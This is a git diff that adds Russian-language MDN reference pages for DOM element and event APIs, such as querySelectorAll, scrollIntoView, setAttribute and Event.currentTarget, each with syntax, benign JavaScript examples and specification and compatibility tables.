FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatChrome(1) }}
+  		 +

{{ CompatGeckoDesktop(1.9.1) }}

+ 		+

9 [1]

+ 		+

{{CompatVersionUnknown}}

+ 		{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] querySelector() поддерживается в IE8, но только для CSS 2.1 селекторов.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/element/queryselectorall/index.html b/files/ru/web/api/element/queryselectorall/index.html new file mode 100644 index 0000000000..02ffad4f0e --- /dev/null +++ b/files/ru/web/api/element/queryselectorall/index.html @@ -0,0 +1,69 @@ +--- +title: Element.querySelectorAll() +slug: Web/API/Element/querySelectorAll +translation_of: Web/API/Element/querySelectorAll +--- +

Общая информация

+ +

Возвращает список типа NodeList, состоящий из всех элементов, которые являются потомками для элемента, над которым была выполнена функция и удовлетворяющим условию выборки.

+ +

Синтаксис

+ +
elementList = baseElement.querySelectorAll(selectors);
+
+ +

где

+ + + +

Примеры

+ +

Этот пример возвращает список всех элементов с тегом p, которые находятся в теле документа:

+ +
var matches = document.body.querySelectorAll('p');
+
+ +

Этот пример возвращает список всех элементов с тегом p, которые находятся непосредственно в элементах-контейнерах с тегом div, имеющих класс 'highlighted', которые в свою очередь находятся внутри элемента с идентификатором 'test':

+ +
var el = document.querySelector('#test');
+var matches = el.querySelectorAll('div.highlighted > p');
+
+ +

Этот пример возвращает список всех элементов iframe, которые имеют атрибут "data-src":

+ +
var matches = el.querySelectorAll('iframe[data-src]');
+
+ +

Заметки

+ +

Функция выбрасывает исключение SYNTAX_ERR, если текст селектора неправильный.

+ +

querySelectorAll() был представлен как часть WebApps API.

+ +

Строка указанная в качестве текста селектора, должна соответствовать синтаксису CSS.

+ +

Помните, что возвращённый в качестве результата список NodeList не рекомендуется для использования в циклах (например, в for(...)) в качестве массива, т.к., это не массив в «традиционном» понятии Javascript, а объект типа NodeList, который, хоть и схож по свойствам с массивом, но не является таковым в полной мере (не поддерживает все методы, доступные массиву), так что будьте осторожны.

+ +

Поддержка браузерами

+ +
+ +

{{Compat("api.Element.querySelectorAll")}}

+ +

Ссылки на спецификации

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/element/removeattribute/index.html b/files/ru/web/api/element/removeattribute/index.html new file mode 100644 index 0000000000..22bdfb22c2 --- /dev/null +++ b/files/ru/web/api/element/removeattribute/index.html @@ -0,0 +1,36 @@ +--- +title: Element.removeAttribute() +slug: Web/API/Element/removeAttribute +translation_of: Web/API/Element/removeAttribute +--- +

{{ APIRef("DOM") }}

+ +

removeAttribute удаляет аттрибут с элемента.

+ +

Синтаксис

+ +
element.removeAttribute(attrName);
+
+ + + +

Пример

+ +
// <div id="div1" align="left" width="200px">
+document.getElementById("div1").removeAttribute("align");
+// now: <div id="div1" width="200px">
+
+ +

Заметки

+ +

Вы должны использовать removeAttribute вместо того, чтобы устанавливать значение атрибута в null, используя setAttribute.

+ +

Попытка удаления аттрибута, которого нет на элементе не вызывает ошибки.

+ +

{{ DOMAttributeMethods() }}

+ +

Спецификация

+ +

DOM Level 2 Core: removeAttribute (introduced in DOM Level 1 Core)

diff --git a/files/ru/web/api/element/requestpointerlock/index.html b/files/ru/web/api/element/requestpointerlock/index.html new file mode 100644 index 0000000000..c85e4075b3 --- /dev/null +++ b/files/ru/web/api/element/requestpointerlock/index.html @@ -0,0 +1,90 @@ +--- +title: Element.requestPointerLock() +slug: Web/API/Element/requestPointerLock +translation_of: Web/API/Element/requestPointerLock +--- +

{{ APIRef("DOM") }}{{ seeCompatTable }}

+ +

Метод Element.requestPointerLock() позволяет асинхронно запросить блокировку курсора для заданного элемента.

+ +

Чтобы отследить успех или ошибку запроса, необходимо слушать события {{event("pointerlockchange")}} и {{event("pointerlockerror")}} на уровне {{domxref("Document")}}.

+ +

Синтаксис

+ +
instanceOfElement.requestPointerLock();
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Pointer Lock','#element-interface','Element')}}{{Spec2('Pointer Lock')}}Extend the Element interface
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{ CompatVersionUnknown() }} {{property_prefix("webkit")}}{{ CompatVersionUnknown() }} {{property_prefix("moz")}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

See also

+ + diff --git a/files/ru/web/api/element/scrollheight/index.html b/files/ru/web/api/element/scrollheight/index.html new file mode 100644 index 0000000000..cc3e014192 --- /dev/null +++ b/files/ru/web/api/element/scrollheight/index.html @@ -0,0 +1,178 @@ +--- +title: Element.scrollHeight +slug: Web/API/Element/scrollHeight +translation_of: Web/API/Element/scrollHeight +--- +

{{ APIRef("DOM") }}

+ +

Свойство Element.scrollHeight (только чтение) - измерение высоты контента в элементе, включая содержимое, невидимое из-за прокрутки. Значение scrollHeight  равно минимальному clientHeight, которое потребуется элементу для того, чтобы поместить всё содержимое в видимую область (viewport), не используя вертикальную полосу прокрутки. Оно включает в себя padding элемента, но не его margin.

+ +
+

Это свойство округляет значение до целого числа. Если вам нужно дробное значение, используйте {{ domxref("Element.getBoundingClientRect()") }}.

+
+ +

Синтаксис

+ +
var intElemScrollHeight = document.getElementById(id_attribute_value).scrollHeight;
+
+ +

intElemScrollHeight - переменная, хранящая целое число, соответствующее пиксельному значению scrollHeight элемента. scrollHeight является свойством только для чтения.

+ +

Пример

+ +
+
+

padding-top

+ +

Бла-бла-бла, бла-бла-бла.Бла-бла-бла, бла-бла-бла.Бла-бла-бла, бла-бла-бла.

+ +

Кот Василий ел картошку.Бла-бла-бла, бла-бла-бла.Бла-бла-бла, бла-бла-бла.

+ +

padding-bottom

+
+Left Top Right Bottom margin-top margin-bottom border-top border-bottom
+ +

Image:scrollHeight.png

+ +

Проблемы и решения

+ +

Определить, был ли элемент полностью прокручен.

+ +

Следующее выражение возвращает true, если элемент был прокручен до конца, false если это не так.

+ +
element.scrollHeight - element.scrollTop === element.clientHeight
+ +

Пример работы scrollHeight

+ +

Если объединить это выражение с событием onscroll, оно может быть использовано для того, чтобы определить, прочитал ли пользователь текст, или нет (см. также свойства element.scrollTop и element.clientHeight). Например:

+ +

HTML

+ +
<form name="registration">
+  <p>
+    <textarea id="rules">
+Регистрируясь на сайте любителей котиков я соглашаюсь со следующими условиями:
+- покупать kitekat бездомным;
+- делиться последним куском мяса;
+- любить Firefox;
+- вставлять в каждую вразу: "мурр", "мррр" и т.п.;
+- в качестве документов предъявлять хвост и усы;
+- заниматься разработкой;
+- читать хабрахабр;
+- смотреть "Tom and Jerry" и котопса;
+- продать почку для поддержания здоровья кошек города;
+- уметь ловить мышей;
+- быть фанатом Матроскина;
+- обожать молоко;
+- уметь мурлыкать и рррычать;
+- следовать жизненным принципам Леопольда;
+- вставлять на MDN фразы про кошек для разнообразия и поддержания морального духа;
+- загрузить в качестве аватарки фото с Простоквашино;
+- другими словами, всегда любить и уважать кошек и ненавидеть собак.
+Условия могут быть изменены в любое время, незнание не освобождает от ответственности.
+    </textarea>
+  </p>
+  <p>
+    <input type="checkbox" name="accept" id="agree" />
+    <label for="agree">Я согласен</label>
+    <input type="submit" id="nextstep" value="Далее" />
+  </p>
+</form>
+ +

CSS

+ +
#notice {
+  display: inline-block;
+  margin-bottom: 12px;
+  border-radius: 5px;
+  width: 600px;
+  padding: 5px;
+  border: 2px #7FDF55 solid;
+}
+
+#rules {
+  width: 600px;
+  height: 130px;
+  padding: 5px;
+  border: #2A9F00 solid 2px;
+  border-radius: 5px;
+}
+ +

JavaScript

+ +
function checkReading () {
+  if (checkReading.read) {
+    return;
+  }
+  checkReading.read = this.scrollHeight - this.scrollTop === this.clientHeight;
+  document.registration.accept.disabled = document.getElementById("nextstep").disabled = !checkReading.read;
+  checkReading.noticeBox.innerHTML = checkReading.read ? "Спасибо вам." : "Пожалуйста, прокрутите и прочитайте следующий текст.";
+}
+
+onload = function () {
+  var oToBeRead = document.getElementById("rules");
+  checkReading.noticeBox = document.createElement("span");
+  document.registration.accept.checked = false;
+  checkReading.noticeBox.id = "notice";
+  oToBeRead.parentNode.insertBefore(checkReading.noticeBox, oToBeRead);
+  oToBeRead.parentNode.insertBefore(document.createElement("br"), oToBeRead);
+  oToBeRead.onscroll = checkReading;
+  checkReading.call(oToBeRead);
+}
+ +

{{ EmbedLiveSample('scrollHeight_Demo', '640', '400') }}

+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSSOM View", "#dom-element-scrollheight", "Element.scrollHeight")}}{{Spec2("CSSOM View")}}Изначальное определение
+ +

Совместимость с браузерами

+ + + + + + + + + + + + + + + + + + + + + + + + +
БраузерыНачальная версия
Internet Explorer8.0
Firefox (Gecko)3.0 (1.9)
Opera?
Safari | Chrome | WebKit4.0 | 4.0 | ?
+ +

В версиях Firefox до 21-й: когда контент элемента не создает вертикальную полосу прокрутки, его свойство scrollHeight равно значению clientHeight. Это может означать либо то, что контента слишком мало, чтобы ему потребовалась полоса прокрутки, либо то, что у элемента значение CSS свойства overflow равно visible (в этом случае прокрутка отсутствует).

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/element/scrollintoview/index.html b/files/ru/web/api/element/scrollintoview/index.html new file mode 100644 index 0000000000..58bf29f51a --- /dev/null +++ b/files/ru/web/api/element/scrollintoview/index.html @@ -0,0 +1,112 @@ +--- +title: Element.scrollIntoView() +slug: Web/API/Element/scrollIntoView +translation_of: Web/API/Element/scrollIntoView +--- +
{{ APIRef("DOM")}}
+ +

Метод Element.scrollIntoView() интерфейса {{domxref("Element")}} прокручивает текущий контейнер родителя элемента, так, чтобы этот элемент, на котором был вызван scrollIntoView() был видим пользователю.

+ +

Синтаксис

+ +
element.scrollIntoView(); // эквивалентно element.scrollIntoView(true)
+element.scrollIntoView(alignToTop); // аргумент типа Boolean
+element.scrollIntoView(scrollIntoViewOptions); // аргумент типа Object
+
+ +

Параметры

+ +
+
alignToTop {{optional_inline}}
+
Параметр типа {{jsxref("Boolean")}}, возможные значения: +
    +
  •  true,  верхняя граница элемента будет выровнена вверху видимой части окна прокручиваемой области. Соответствует scrollIntoViewOptions: {block: "start", inline: "nearest"}. Значение по умолчанию.
    • +
  • false, нижняя граница элемента будет выровнена внизу видимой части окна прокручиваемой области. Соответствует конфигурации scrollIntoViewOptions: {block: "end", inline: "nearest"}
    • +
+
+
scrollIntoViewOptions {{optional_inline}} {{experimental_inline}}
+
Aргумент типа boolean или типа object со следующим набором опций:
+
behavior {{optional_inline}}
+
Определяет анимацию скролла. Принимает значение "auto" или "smooth". По умолчанию "auto".
+
block {{optional_inline}}
+
Вертикальное выравнивание.
+ Одно из значений: "start", "center", "end" или "nearest". По умолчанию "center".
+
inline {{optional_inline}}
+
Горизонтальное выравнивание.
+ Одно из значений: "start", "center", "end" или "nearest". По умолчанию "nearest".
+
+ +

Пример

+ +

HTML

+ +
<button type="button" class="btn">Нажми на меня</button>
+
+<div class="big"></div>
+
+<div id="box" class="box">Скрытый элемент</div>
+ +

CSS

+ +
.big {
+   background: #ccc;
+   height: 300px;
+}
+
+.btn {
+   font-size: 14px;
+}
+
+.box {
+   background: lightgreen;
+   height: 40px;
+}
+ +

JavaScript

+ +
var hiddenElement = document.getElementById("box");
+var btn = document.querySelector('.btn');
+
+function handleButtonClick() {
+   hiddenElement.scrollIntoView({block: "center", behavior: "smooth"});
+}
+
+btn.addEventListener('click', handleButtonClick);
+
+ +

Результат

+ +

{{EmbedLiveSample('Пример')}}

+ +

Примечание

+ +

Область может не полностью прокручивается до элемента (вверх или вниз), это зависит от расположения других элементов.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName("CSSOM View", "#dom-element-scrollintoview", "Element.scrollIntoView()")}}{{Spec2("CSSOM View")}}Initial Definition
+ +

Совместимость с браузерами

+ +

{{Compat("api.Element.scrollIntoView")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/element/scrollleft/index.html b/files/ru/web/api/element/scrollleft/index.html new file mode 100644 index 0000000000..15af642a56 --- /dev/null +++ b/files/ru/web/api/element/scrollleft/index.html @@ -0,0 +1,79 @@ +--- +title: Элемент.scrollLeft +slug: Web/API/Element/scrollLeft +translation_of: Web/API/Element/scrollLeft +--- +

{{ APIRef("DOM") }}

+ +

Свойство scrollLeft получает или устанавливает количество пикселей, на которое контент элемента прокручен влево.

+ +

Заметьте, что если свойство {{cssxref("direction")}}: rtl (right-to-left), то scrollLeft равен 0, когда скроллбар на его самой правой позиции (с начала прокрученного контента), а затем становится отрицательным по мере прокрутки к концу контента.

+ +

Синтаксис

+ +
// Получаем количество прокрученных пикселей
+var sLeft = element.scrollLeft;
+
+ +

sLeft - целое число, представленное количеством пикселей, на которые элемент был прокручен влево.

+ +
// Устанавливаем количество прокрученных пикселей
+element.scrollLeft = 10;
+
+ +

scrollLeft может быть установлен, как любое целое число, однако:

+ + + +

Пример

+ +
<!DOCTYPE html>
+<html>
+<head>
+    <meta charset="utf-8">
+    <style>
+        #container {
+            border: 1px solid #ccc; height: 100px; overflow: scroll; width: 100px;
+        }
+        #content {
+            background-color: #ccc; width: 250px;
+        }
+    </style>
+    <script>
+        document.addEventListener('DOMContentLoaded', function () {
+            var button = document.getElementById('slide');
+            button.onclick = function () {
+                document.getElementById('container').scrollLeft += 20;
+            };
+        }, false);
+    </script>
+</head>
+<body>
+    <div id="container">
+        <div id="content">Бла-бла-бла</div>
+    </div>
+    <button id="slide" type="button">Пролистать</button>
+</body>
+</html>
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{SpecName('CSSOM View', '#dom-element-scrollleft', 'scrollLeft')}}{{Spec2("CSSOM View")}} 
diff --git a/files/ru/web/api/element/scrollto/index.html b/files/ru/web/api/element/scrollto/index.html new file mode 100644 index 0000000000..c6f78187e4 --- /dev/null +++ b/files/ru/web/api/element/scrollto/index.html @@ -0,0 +1,72 @@ +--- +title: Element.scrollTo() +slug: Web/API/Element/scrollTo +translation_of: Web/API/Element/scrollTo +--- +
{{ APIRef }}
+ +

scrollTo() метод интерфейса  {{domxref("Element")}}, осуществляет прокрутку по заданному набору координат внутри данного элемента. 

+ +

Синтаксис

+ +
element.scrollTo(x-coord, y-coord)
+element.scrollTo(options)
+
+ +

Параметры

+ + + +

- or -

+ + + +

Примеры

+ +
element.scrollTo(0, 1000);
+
+ +

С помощью options:

+ +
element.scrollTo({
+  top: 100,
+  left: 100,
+  behavior: 'smooth'
+});
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSSOM View', '#dom-element-scrollto-options-options', 'element.scrollTo()') }}{{ Spec2('CSSOM View') }}Initial definition.
+ +

Браузерная совместимость

+ + + +

{{Compat("api.Element.scrollTo")}}

+ +

Смотри также

+ + diff --git a/files/ru/web/api/element/scrolltop/index.html b/files/ru/web/api/element/scrolltop/index.html new file mode 100644 index 0000000000..fa6cbf77de --- /dev/null +++ b/files/ru/web/api/element/scrolltop/index.html @@ -0,0 +1,73 @@ +--- +title: Элемент.scrollTop +slug: Web/API/Element/scrollTop +translation_of: Web/API/Element/scrollTop +--- +

{{ APIRef("DOM") }}

+ +

Свойство scrollTop считывает или устанавливает количество пикселей, прокрученных от верха элемента. scrollTop измеряет дистанцию от верха элемента до верхней точки видимого контента. Когда контент элемента не создаёт вертикальную прокрутку, его scrollTop равно 0.

+ +

Синтаксис

+ +
//Получаем количество прокрученных пикселей
+var  intElemScrollTop = someElement.scrollTop;
+
+ +

После выполнения этого кода, intElemScrollTop - целое число пикселей, на которое контент {{domxref("element")}} был прокручен от верха.

+ +
// Устанавлием количество прокрученных пикселей
+element.scrollTop = intValue;
+
+ +

scrollTop может быть любым целым числом, с определенными оговорками:

+ + + +

Пример

+ +
+
+

padding-top

+ +

Бла-бла-бла, бла-бла-бла.Бла-бла-бла, бла-бла-бла.Бла-бла-бла, бла-бла-бла.

+ +

Кот Василий ел картошку.Бла-бла-бла, бла-бла-бла.Бла-бла-бла, бла-бла-бла.

+ +

padding-bottom

+
+Left Top Right Bottom margin-top margin-bottom border-top border-bottom
+ +

Image:scrollTop.png

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSSOM View', '#dom-element-scrolltop', 'scrollTop')}}{{Spec2("CSSOM View")}}
+ +

Совместимость с браузерами

+ +

{{Compat("api.Element.scrollTop")}}

+ +

Ссылки

+ + diff --git a/files/ru/web/api/element/setattribute/index.html b/files/ru/web/api/element/setattribute/index.html new file mode 100644 index 0000000000..0d61d3834e --- /dev/null +++ b/files/ru/web/api/element/setattribute/index.html @@ -0,0 +1,54 @@ +--- +title: Element.setAttribute() +slug: Web/API/Element/setAttribute +translation_of: Web/API/Element/setAttribute +--- +
{{APIRef("DOM")}}
+ +
Добавляет новый атрибут или изменяет значение существующего атрибута у выбранного элемента.
+ +
+ +

Синтаксис

+ +
element.setAttribute(name, value);
+
+ + + +

Пример

+ +

В следующем примере, setAttribute() используется, чтобы установить атрибут {{htmlattrxref("disabled")}}  кнопки {{htmlelement("button")}}, делая её отключенной.

+ +
<button>Hello World</button>
+ +
var b = document.querySelector("button");
+
+b.setAttribute("disabled", "disabled");
+
+ +

{{ EmbedLiveSample('Пример', '300', '50', '', 'Web/API/Element/setAttribute') }}

+ +

Примечания

+ +

При вызове на элементе внутри HTML документа, setAttribute переведет имя атрибута в нижний регистр.

+ +

Если указанный атрибут уже существует, его значение изменится на новое. Если атрибута ранее не существовало, он будет создан.

+ +

Несмотря на то, что метод  getAttribute() возвращает null у удаленных атрибутов, вы должны использовать removeAttribute() вместо elt.setAttribute(attr, null), чтобы удалить атрибут. Последний заставит значение null быть строкой "null", которая, вероятно, не то, что вы хотите.

+ +

Использование setAttribute() для изменения определенных атрибутов особенно значимо в XUL, так как работает непоследовательно, а атрибут определяет значение по умолчанию. Для того, чтобы получить или изменить текущие значения, вы должны использовать свойства. Например, elt.value вместо elt.setAttribure('value', val).

+ +

Чтобы установить атрибут, которому значение не нужно, такой как, например, атрибут autoplay элемента {{HTMLElement("audio")}}, используйте null или пустое значение. Например: elt.setAttribute('autoplay', '')

+ +
{{DOMAttributeMethods}}
+ +

Спецификация

+ + diff --git a/files/ru/web/api/element/slot/index.html b/files/ru/web/api/element/slot/index.html new file mode 100644 index 0000000000..0317b63cc2 --- /dev/null +++ b/files/ru/web/api/element/slot/index.html @@ -0,0 +1,67 @@ +--- +title: Element.slot +slug: Web/API/Element/slot +tags: + - API + - DOM + - Element + - Property + - Reference + - shadow dom +translation_of: Web/API/Element/slot +--- +

{{APIRef("Shadow DOM")}}

+ +

Свойство slot интерфейса {{domxref("Element")}} возращает имя слота теневого DOM, в который вставлен элемент.

+ +

Слот slot это заполнитель внутри веб компонента, который пользователи могут заполнить собственной разметкой (смотри Использование шаблонов и слотов для получения дополнительной информации).

+ +

Синтаксис

+ +
var aString = element.slot
+element.slot = aString
+
+ +

Значение

+ +

{{domxref("DOMString")}}.

+ +

Примеры

+ +

В нашем примере простого шаблона (смотри в прямом эфире), мы создаем тривиальный пример пользовательского элемента с именем <my-paragraph>, в котором прикрепляется теневой корень, а затем заполняется с использованием содержимого шаблона, содержащего слот с именем my-text.

+ +

Когда в документе используется <my-paragraph>, слот заполняется слот-элементом, включая его в элемент с атрибутом slot со значением my-text. Вот один из таких примеров:

+ +
<my-paragraph>
+  <span slot="my-text">Let's have some different text!</span>
+</my-paragraph>
+ +

В нашем JavaScript файле мы получаем ссылку {{htmlelement("span")}}, показанную выше, а затем регестрием ссылку на имя соответствующего элемента <slot>.

+ +
let slottedSpan = document.querySelector('my-paragraph span')
+console.log(slottedSpan.slot); // logs 'my-text'
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG','#dom-element-slot','slot')}}{{Spec2('DOM WHATWG')}}
+ +

Поддержка браузерами

+ +
+ + +

{{Compat("api.Element.slot")}}

+
diff --git a/files/ru/web/api/element/tagname/index.html b/files/ru/web/api/element/tagname/index.html new file mode 100644 index 0000000000..dcc8395756 --- /dev/null +++ b/files/ru/web/api/element/tagname/index.html @@ -0,0 +1,47 @@ +--- +title: Element.tagName +slug: Web/API/Element/tagName +translation_of: Web/API/Element/tagName +--- +

{{ ApiRef("DOM") }}

+ +

Описание

+ +

Возвращает HTML-тег элемента ("div", "p", "a" и т.д).

+ +

Синтаксис

+ +
var elementName = element.tagName;
+
+ + + +
+

В XML (и XML-подобных языках) возвращаемое значение будет в нижнем регистре, а в HTML - в верхнем.

+
+ +
+

Существует более древнее и обыденное свойство nodeName!

+
+ +

Пример

+ +

Предположим, есть на странице элемент с id "born":

+ +
<span id="born">Я родился...</span>
+
+ +

Давайте узнаем его HTML-тег:

+ +
var span = document.getElementById("born");
+alert(span.tagName); //"SPAN"
+
+ +

Спецификации

+ + diff --git a/files/ru/web/api/event/bubbles/index.html b/files/ru/web/api/event/bubbles/index.html new file mode 100644 index 0000000000..c232c3f044 --- /dev/null +++ b/files/ru/web/api/event/bubbles/index.html @@ -0,0 +1,44 @@ +--- +title: Event.bubbles +slug: Web/API/Event/bubbles +translation_of: Web/API/Event/bubbles +--- +

{{ ApiRef("DOM") }}

+ +

Описание

+ +

Указывает, является ли данное событие всплывающим внутри DOM.

+ +
+

Более подробно про всплытие событий: Всплытие и перехват событий

+
+ +

Синтаксис

+ +
event.bubbles
+ +

Возвращает булево значение true, если событие является всплывающим внутри DOM.

+ +

Пример

+ +
var bool = event.bubbles;
+
+ +

bool содержит true или false в зависимости от того, может событие быть всплывающим внутри DOM или нет

+ +

Пример

+ +
function handleInput(e) {
+  // Проверяем всплывает ли событие и ...
+  if (!e.bubbles) {
+    // ... пропускаем событие сюда если нет
+    passItOn(e);
+  }
+
+  // Уже всплыло
+  doOutput(e);
+}
+ +
+

Только некоторые события могут всплывать. У таких событий это свойство возвращает true. Вы можете использовать это свойство, чтобы проверить, может ли событие всплывать.

+
diff --git a/files/ru/web/api/event/cancelable/index.html b/files/ru/web/api/event/cancelable/index.html new file mode 100644 index 0000000000..413d1e5344 --- /dev/null +++ b/files/ru/web/api/event/cancelable/index.html @@ -0,0 +1,38 @@ +--- +title: Event.cancelable +slug: Web/API/Event/cancelable +translation_of: Web/API/Event/cancelable +--- +
{{ ApiRef("DOM") }}
+ +

Описание

+ +

Указывает, является ли событие отменяемым.

+ +

Синтаксис

+ +
bool = event.cancelable
+
+ + + +

Пример

+ +
var bool = event.cancelable;
+
+ +

bool содержит true или false в зависимости от того, можно ли предотвратить действие события по умолчанию или нет.

+ +

Примечание

+ +

Независимо от того, может событие быть отменено или нет, свойство определяется при инициализации события.

+ +

Вызов на событии метода {{domxref("event.preventDefault", "preventDefault()")}} отменяет событие. При этом действие по умолчанию, связанное с событием, не выполняется.

+ +

Спецификации

+ + diff --git a/files/ru/web/api/event/comparison_of_event_targets/index.html b/files/ru/web/api/event/comparison_of_event_targets/index.html new file mode 100644 index 0000000000..0c05e9118f --- /dev/null +++ b/files/ru/web/api/event/comparison_of_event_targets/index.html @@ -0,0 +1,164 @@ +--- +title: Сравнение разных Event Targets +slug: Web/API/Event/Comparison_of_Event_Targets +translation_of: Web/API/Event/Comparison_of_Event_Targets +--- +

{{ ApiRef() }}

+ +

Event targets

+ +

Легко запутаться в том, какую цель (target) следует изучить при написании обработчика событий. В этой статье разъяснено использование свойств target.

+ +

Существуют 5 целей для рассмотрения:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyDefined inPurpose
event.targetDOM Event Interface +

Элемент DOM слева от вызова этого события, например:

+ + 
+element.dispatchEvent(event)
+
+
event.currentTargetDOM Event InterfaceEventTarget, чьи EventListeners в настоящее время обрабатываются. По мере того, как происходит захват и всплытие событий, это значение изменяется.
event.relatedTargetDOM MouseEvent InterfaceОпределяет вторичную цель для события.
event.explicitOriginalTarget{{ Source("/dom/public/idl/events/nsIDOMNSEvent.idl", "nsIDOMNSEvent.idl") }}{{ Non-standard_inline() }} Если по какой-либо причине событие было перенацелено, кроме анонимного пересечения границ, событие будет установлено на цель до перенацеливания. Например, события мыши перенацеливаются на их родительский узел, когда они встречаются над текстовыми узлами ({{Bug ("185889")}}), и в этом случае .target покажет на родителя и .explicitOriginalTarget покажет на текстовый узел.
+ В отличие от .originalTarget — .explicitOriginalTarget никогда не будет содержать анонимный контент.
event.originalTarget{{ Source("/dom/public/idl/events/nsIDOMNSEvent.idl", "nsIDOMNSEvent.idl") }}{{ Non-standard_inline() }} Первоначальная цель события перед любым перенацеливанием. Подробнее см. Анонимный контент#Event_Flow_and_Targeting.
+ +

Использование explicitOriginalTarget и originalTarget

+ +

TODO: Only available in a Mozilla-based browser? TODO: Only suitable for extension-developers?

+ +

Примеры

+ +
<!DOCTYPE html>
+<html>
+<head>
+    <meta charset="utf-8">
+    <meta http-equiv="X-UA-Compatible" content="IE=edge">
+    <title>Comparison of Event Targets</title>
+    <style>
+        table {
+            border-collapse: collapse;
+            height: 150px;
+            width: 100%;
+        }
+        td {
+            border: 1px solid #ccc;
+            font-weight: bold;
+            padding: 5px;
+            min-height: 30px;
+        }
+        .standard {
+            background-color: #99ff99;
+        }
+        .non-standard {
+            background-color: #902D37;
+        }
+    </style>
+</head>
+<body>
+    <table>
+    <thead>
+        <tr>
+            <td class="standard">Изначальная цель, отправляющая событие <small>event.target</small></td>
+            <td class="standard">Цель, кто прослушивает события <small>event.currentTarget</small></td>
+            <td class="standard">Идентифицировать другой элемент (если он есть), участвующий в событии <small>event.relatedTarget</small></td>
+            <td class="non-standard">Если по какой-то причине произошло перенацеливание события <small>event.explicitOriginalTarget</small> содержит цель перед перенацеливанием (никогда не содержит анонимных целей)</td>
+            <td class="non-standard">Если по какой-то причине произошло перенацеливание события <small>event.originalTarget</small> содержит цель перед перенацеливанием (может содержать анонимные цели)</td>
+        </tr>
+    </thead>
+    <tr>
+        <td id="target"></td>
+        <td id="currentTarget"></td>
+        <td id="relatedTarget"></td>
+        <td id="explicitOriginalTarget"></td>
+        <td id="originalTarget"></td>
+    </tr>
+</table>
+<p>Нажав на текст, вы увидите разницу между explicitOriginalTarget, originalTarget и target</p>
+<script>
+    function handleClicks(e) {
+        document.getElementById('target').innerHTML = e.target;
+        document.getElementById('currentTarget').innerHTML = e.currentTarget;
+        document.getElementById('relatedTarget').innerHTML = e.relatedTarget;
+        document.getElementById('explicitOriginalTarget').innerHTML = e.explicitOriginalTarget;
+        document.getElementById('originalTarget').innerHTML = e.originalTarget;
+    }
+
+    function handleMouseover(e) {
+        document.getElementById('target').innerHTML = e.target;
+        document.getElementById('relatedTarget').innerHTML = e.relatedTarget;
+    }
+
+    document.addEventListener('click', handleClicks, false);
+    document.addEventListener('mouseover', handleMouseover, false);
+</script>
+</body>
+</html>
+ +

Использование target и relatedTarget

+ +

Свойство relatedTarget для события mouseover содержит узел, над которым ранее была указана мышь. Для события mouseout он удерживает узел, к которому движется мышь.

+ + + + + + + + + + + + + + + + + + + +
Тип событияevent.targetevent.relatedTarget
mouseoverEventTarget, в который входим указателемEventTarget, из которого выходим указателем
mouseoutEventTarget, из которого выходим указателемEventTarget, в который входим указателем
+ +

TODO: Также требуется описание событий dragenter и dragexit.

+ +

Пример

+ +
<hbox id="outer">
+  <hbox id="inner"
+        onmouseover="dump('mouseover ' + event.relatedTarget.id + ' > ' + event.target.id + '\n');"
+        onmouseout="dump('mouseout  ' + event.target.id + ' > ' + event.relatedTarget.id + '\n');"
+        style="margin: 100px; border: 10px solid black; width: 100px; height: 100px;" />
+</hbox>
+
+ +

 

diff --git a/files/ru/web/api/event/currenttarget/index.html b/files/ru/web/api/event/currenttarget/index.html new file mode 100644 index 0000000000..c16a91e1f0 --- /dev/null +++ b/files/ru/web/api/event/currenttarget/index.html @@ -0,0 +1,107 @@ +--- +title: Event.currentTarget +slug: Web/API/Event/currentTarget +translation_of: Web/API/Event/currentTarget +--- +

{{APIRef("DOM")}}

+ +

Определяет элемент, в котором в данный момент обрабатывается событие, при движении события внутри DOM. Всегда совпадает элементом, на котором обработчик события был назначен, в отличие от свойства event.target, идентифицирующего элемент, на котором событие возникло.

+ +

Пример

+ +

event.currentTarget используется, когда один и тот же обработчик события присваивается нескольким элементам.

+ +
function hide(e){
+  e.currentTarget.style.visibility = "hidden";
+  // Когда данная функция используется в качестве обработчика события: this === e.currentTarget
+}
+
+var ps = document.getElementsByTagName('p');
+
+for(var i = 0; i < ps.length; i++){
+  ps[i].addEventListener('click', hide, false);
+}
+
+// click around and make paragraphs disappear
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName("DOM2 Events", "#Events-Event-currentTarget", "Event.currentTarget")}}{{Spec2("DOM2 Events")}} + + + + + + +
Изначальное определение. 
+
+ +

Совместимость с браузерами

+ +

